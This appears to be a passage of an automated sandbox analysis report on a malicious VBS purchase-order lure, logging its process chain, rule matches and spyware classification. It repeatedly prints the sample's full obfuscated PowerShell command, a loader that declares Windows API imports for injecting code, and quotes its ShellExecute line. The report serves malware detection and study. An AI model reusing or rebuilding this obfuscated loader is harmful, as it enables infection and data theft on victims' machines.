juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn	Jump to behavior

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: semirattlesnake.ShellExecute Angularises, " " & chrw(34) & Eu8 & chrw(34), "", "", 0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4728
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4728			Jump to behavior

Source: SIEM_PO00938467648.vbs, type: SAMPLE	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 6160, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008EEB28	6_2_008EEB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008EEB28	6_2_008EEB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008ECEB9	6_2_008ECEB9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_008ECEC8	6_2_008ECEC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079DE7B0	6_2_079DE7B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079D7180	6_2_079D7180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079D91C8	6_2_079D91C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_079DE7A0	6_2_079DE7A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07B429F0	6_2_07B429F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA06BE0	12_2_1FA06BE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA0E5EB	12_2_1FA0E5EB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA08B70	12_2_1FA08B70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1FA08C50	12_2_1FA08C50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B7030	12_2_203B7030
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BAC70	12_2_203BAC70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BC490	12_2_203BC490
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B94D0	12_2_203B94D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B4510	12_2_203B4510
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BDE10	12_2_203BDE10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B6688	12_2_203B6688
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203B0ACA	12_2_203B0ACA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_203BECD0	12_2_203BECD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20491540	12_2_20491540
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20492D68	12_2_20492D68
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_20493810	12_2_20493810
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204950D8	12_2_204950D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_2049458A	12_2_2049458A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204948A0	12_2_204948A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204911C2	12_2_204911C2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_204914D4	12_2_204914D4

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63B206 NtQuerySystemInformation,		12_2_1D63B206
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63B1D5 NtQuerySystemInformation,		12_2_1D63B1D5

Source: SIEM_PO00938467648.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: security.dll	Jump to behavior

Source: SIEM_PO00938467648.vbs

ReversingLabs: Detection: 34%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63AAB6 AdjustTokenPrivileges,		12_2_1D63AAB6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_1D63AA7F AdjustTokenPrivileges,		12_2_1D63AA7F

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ch5v15x.nhz.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@13/10@3/3

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
